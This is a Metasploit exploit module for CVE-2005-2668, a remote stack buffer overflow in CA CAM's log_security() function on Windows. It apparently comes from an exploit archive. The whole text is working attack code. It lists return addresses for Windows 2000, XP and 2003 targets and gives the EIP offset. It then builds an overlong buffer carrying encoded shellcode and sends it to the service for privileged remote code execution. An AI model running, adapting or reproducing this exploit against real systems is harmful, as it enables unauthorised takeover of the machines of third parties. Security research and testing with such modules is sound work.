CA CAM (Windows x86) – ‘log_security()’ Remote Stack Buffer Overflow (Metasploit)
## # $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)', 'Description' => %q{ This module exploits a vulnerability in the CA CAM service by passing a long parameter to the log_security() function. The CAM service is part of TNG Unicenter. This module has been tested on Unicenter v3.1. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2005-2668'], ['OSVDB', '18916'], ['BID', '14622'], ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets' => [ # W2API.DLL @ 0x01950000 - return to ESI ['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }], # Return to ESI in ws2help.dll ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }], ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }], ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }], ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }], ], 'DisclosureDate' => 'Aug 22 2005', 'DefaultTarget' => 0)) end def check connect ack = sock.get_once disconnect (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe end def exploit connect ack = sock.get_once if (ack != "ACK\x00") print_status("The CAM service is not responding") end buf = rand_text_english(4096, payload_badchars) # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI buf[ 1016, 4 ] = [target.ret].pack('V') buf[ 1052, payload.encoded.length ] = payload.encoded sock.put("\xfa\xf9\x00\x10" + buf + "\x00") handler disconnect end end |